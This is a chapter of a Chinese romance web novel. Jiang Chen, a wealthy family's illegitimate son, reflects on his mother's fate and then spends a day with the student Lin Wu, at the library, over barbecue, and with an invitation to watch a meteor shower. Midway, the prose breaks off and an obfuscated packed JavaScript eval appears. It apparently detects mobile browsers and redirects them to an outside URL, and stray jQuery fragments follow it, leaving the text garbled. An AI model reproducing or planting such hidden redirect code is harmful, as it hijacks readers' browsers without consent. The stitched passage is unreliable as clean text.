江尘夜不能寐，他于黑暗中静坐，耷拉着眼皮看透过窗帘泻进来的一点点的光，不是月光，是院子里的灯光，昏黄，暗淡。


    江尘起身，趿拉着拖鞋走到窗前，一把将窗帘扯开，原来外面依旧在飘着小雨。


    很多往事伴着淅淅沥沥的小雨渗进了记忆中——


    江尘记得大概是十年前的斯日，也是一个雨天，李幼舒带着他坐飞机飞到了北城，辗转几个时辰飞机落地。


    从他脚踏在北城这片土地的那刻起，他就再也不是那个自由自在的他了，他自此背上了另外一个身份——江家三公子，只不过是个私生子。


    2006年，父亲江峰元的发妻去世，不知他怎么求得了老爷子的同意，把江尘和李幼舒接回了家。


    李幼舒满怀期望地回到了北城，对江尘说他们也要有一个完整的家庭了。


    可事实并非如此，江峰元要娶李幼舒，老爷子不同意，甚至她连江家的老宅都进不去。


    江峰元知道李幼舒喜欢贴近自然的亭台轩榭小院，就找遍整个北城，找到了这么一出安谧的地方，还取名为“舒园”，亲自提笔做匾。


    自此，舒园就成了李幼舒的归宿。


    而她梦寐以求的婚礼，这辈子终究是一场浮华梦。


    随着年龄增大，李幼舒也看清了这个事实，不再空期待，免得徒欢喜。


    只是有些事儿，已经成为了执念，这个坎儿可能一辈子都过不去。


    而江尘，是个私生子，也只能是个私生子。


    这是他一辈子都不能辩驳和反抗的事实。


    因为当年，确实是江峰元对李幼舒隐瞒了联姻这才有了他，外人眼中，他母亲永远是插足婚姻的第三者。


    所以，他这么多年怨极了江家，恨极了江家，这些年也不愿和江家有过深的交集。


    雨势不知什么时候已经大起来了，打得树上渐黄的叶子缓缓落在地上，雨滴拍打在残落的叶子上，把它死死钉在尘埃里。


    江尘揉揉太阳穴，随手把窗帘拉上，他穿着睡衣下楼，撞见了保姆崔姨，崔姨正在轻手轻脚擦那架钢琴，听见背后的脚步声蓦然回头。


    “阿尘，还没睡啊。”崔姨没收起手上的动作。


    “下来找口水喝。”他边说边拿杯子倒了点水，“您怎么大晚上在这擦琴？”


    崔姨叹口气，“你妈妈这两天情绪也不好，我也跟着烦心，实在是睡不着。”


    江尘把杯子放在桌子上，走上前轻轻摸了摸琴键，“如果当初没有我爸，我妈没准是个享誉世界的钢琴家了。”


    “崔姨，您说我妈是不是为了这段感情放弃了太多？”他略显自嘲地问。


    崔姨摇头，“但你妈妈最幸福的事儿就是有了你。”


    江尘挤出一个笑，“您也早点休息。”


    江尘回卧室途中，在楼梯上碰到了橘子。江尘一手把大橘猫抱了起来，轻轻给它顺毛，橘子半眯着眼睛，发出呼噜呼噜的声音。


    江尘莫名其妙联想到了那晚在外院学院楼下见到林雾蹲在角落喂猫的场景，嘴角不自觉地荡出一丝笑。


    他又逗了一会儿猫，才回卧室。他看了眼床头柜上的手机，说来也是巧合，刚刚还在想她，她的消息就过来了。


    林雾给他拍了张照片过来，他点开照片原图，是一张天空照。


    林雾：【看月亮。】


    江尘把图片放大，月光已经划破乌云的一角，随处透露着光辉。


    这才不过片刻，外面竟已经有了月亮，江尘三两步又把窗帘拉来，雨势不减，只是在这暴雨中有了些月光熹微。


    江尘心中涌上一股说不出道不明的感觉。


    江尘：【还没睡吗？】


    林雾：【睡不着，看会儿书。】


    她坐在窗前，一抬眼就看到了月亮，便迫不及待地跟他分享，像任何一个平常的日子。只是，今天的这轮半月，撞进了他的心坎儿。


    他突然想起陈望洲说的流星雨，忍不住现在就想问她要不要一起去看，其实他心知肚明是他很想和她一起看。


    可他又把敲出的字一个一个删除，他只是听陈望洲提了一嘴，具体哪天去哪看这些基本信息他一概不知，他不想此刻就给她一个模棱两可的答案。


    江尘：【早些睡，明天不是还有课？】


    林雾：【嗯。】


    江尘：【睡吧，明天我去接你。】


    林雾心尖颤了一下，望着手机发呆，原来这一句简单的承诺就会让人怦然心动。


    *


    翌日，林雾下了早八回宿舍拿了书就出门，被孙澄一手拉住了，“急匆匆出去干什么？快快如实招来。”


    林雾耳根一红，她整理着措辞，“一会儿要见一个……朋友。”


    她和江尘应该算是朋友了吧。


    孙澄逡巡在她的两侧，林雾的头一点一点往下垂，也不知为何，心虚的情绪达到了极点。


    她也不知道她有什么可心虚的，弄得像是偷情一样。


    孙澄突然环住她的胳膊，“雾啊，那你今晚上回来能不能给我打包带一份学校门口的牛肉面。”她揉着自己的小肚子，“都要馋死了。”


    这家牛肉面的主要受众就是G大的学生，店就开在学校附近十几米处，不过这家店没有外卖服务，所以想吃就得亲自去。


    听孙澄这么说，林雾终于安心舒了一口气，“等着吧，我回来就给你带。”


    其实按照她和江尘的约定，他们只是在图书馆见一面。可她不知为何，冥冥中总有一种预感，她和江尘不会仅仅局限在还一本书而已。


    林雾按照自己的习惯，直接坐电梯去了五楼，她找了个角落坐下，翻开书等着江尘。他刚刚发消息说自己可能得晚一些，让她等一会儿。


    林雾坐在那看书，边看边拿手机查东西，太过入迷，以至于江尘人拉开椅子坐在她对面她都没察觉到。


    江尘想等她自然反应过来，但她却连头都不抬，轻轻把书翻了一页，清脆的翻书声刮得人耳根痒痒的。


    江尘把刚刚买的奶茶推到她面前，她好似大梦初醒，恍惚抬头，脸上流露处丝丝震惊和惊喜。


    “不知道你喜不喜欢喝，随便买的。”


    林雾都没看清楚他买的是什么奶茶，随口就说：“喜欢喝。”


    “看什么书呢，这么入迷？”


    他伸手要去翻她的书，却被她一手压住，感受到他手上微凉的温度，她又被吓得松手，只好徒劳去捏自己的耳垂。


    江尘扫了一眼她耳边挂着的红霞，轻轻把书合上，看到了书名——LePetitPrince。


    林雾有些害羞地把书从他手中抢过来，她不好意思地说：“我在读《小王子》法文版原著。”


    “这书有什么秘密吗？还藏着掖着不让人看？”江尘倚在椅背上，满脸都是放松的姿态。


    她说：“我这个法语水平只能读《小王子》这种简单的书了。”


    她大二那年二外学的法语，但也只学了区区一年，说不上精，甚至连法语四级都不曾考过。她这个水平只能读一些用词简单的书，甚至读这种书时不时还要用法语助手查一下词义。


    “看来英语都已经满足不了你了，还读上法语了。”江尘兴致不错，心情也好，就连逗她的时候眉头都是放松的。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735904|157313||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    林雾听出来他是在开玩笑，遂半真半假地说：“还不是有人告诉我翻译过的版本原文要表达的东西就会被稀释百分之三十。”


    江尘扶额，隐约想起这话是他说的。


    他对她说翻译这个东西再力求准确，因为文化背景不同，译本也会掺杂着译者的个人理解和情感。他说所以有时候就觉得，能读原著就读原著，自己第一感官理解过来的东西是不一样的。


    他这么说，她就想试一试。


    江尘轻笑，“到如今，竟成了我的错。”


    “什么错？”


    “没什么错。”江尘看着她澄澈的眼神，不忍心继续逗她了。


    其实和陈望洲待得久了，江尘对撩拨人这一套也算是耳濡目染了，只是他不想把这些东西用在林雾身上。


    “带你出去吃饭？”江尘问她。


    “又是你带我啊。”她有些失望。


    “那要不还能怎么着？”


    林雾眼中闪着光，“我请你出去吃吧。”


    “这是不是显得我有些欺负你一个学生了？”他用妥协的语气说。


    然后他就看到了他一辈子都忘不了的眼神，林雾眼中闪着光，满脸骄傲跟他说她刚领了家教的工资很有钱呢。


    那是她付出劳动得来的工资，虽然那点小钱在他的眼里微不足道，但她还是觉得自豪，而且毫不掩饰地对他说自己的开心。


    江尘爱极了她这种脚踏实地又不妄自菲薄的样子，他倏地想起了那天在CBD西餐厅的阳台，她说她对北城的繁华心向往之。


    他倏地问她：“你以后是打算读研还是出国？”


    林雾想起了还在生病的何敏，遗憾地说：“按理说学语言的应该出国学习几年，但我这几年不太想出去。”她舔舔嘴唇补充说，“我妈妈身体不太好。”


    “在国内也好，现在也有很多好工作。”他其实想说他可以帮她介绍好工作，可又觉得这话现在说不合适。


    林雾倒是洒脱一笑，“走一步看一步吧，毕竟天无绝人之路嘛。”


    那天林雾做好了把这一个月的家教工资都用来请他吃饭的准备，但他只带她到了一家普通的烤肉店。


    他问她能吃吗，她点点头却说没想到他会来吃这些。


    他说他很喜欢吃这些。


    吃饭的时候，林雾是真看出来他很喜欢吃这些，他烤肉的动作很娴熟，一看就是经常烤肉的人。


    他把她照顾的很好，弄得林雾有种他就是特意来伺候她的一样。


    只不过，他还有与这个餐厅不搭的地方，比如他身上价格不菲的正被烟熏着的衣服，还有他随意摘下放在桌角的手表。


    但这些，比起他这个人，好像都能被忽略了。


    他身上既有书香玉气的高贵清冷感，又有平平淡淡的烟火气。


    林雾小口咀嚼，还是忍不住问他怎么操作得这么娴熟，江尘笑笑说习惯了，可这笑着却夹杂着她看不清的东西。


    那晚，他开车送她回学校，他把车载音乐声音调小，侧眸问她想不想去看流星雨。


    “真的可以吗，我还没看过流星雨呢。”小姑娘惊喜万分。


    “那我到时候来接你。”


    林雾郑重地点头。


    她确实是很开心，在校门口让他把车停下的时候还止不住对她笑，她的笑很有感染力，让他迷恋。


    林雾叮嘱他路上小心，扭身就去牛肉面店给孙澄买面了。


    她的身影挤进店面，他才收回视线，眸色加深。


    他想他就为自己的贪恋努力这么一回，他和江家交集不深，爱而不得的悲剧一定不会发生在他身上。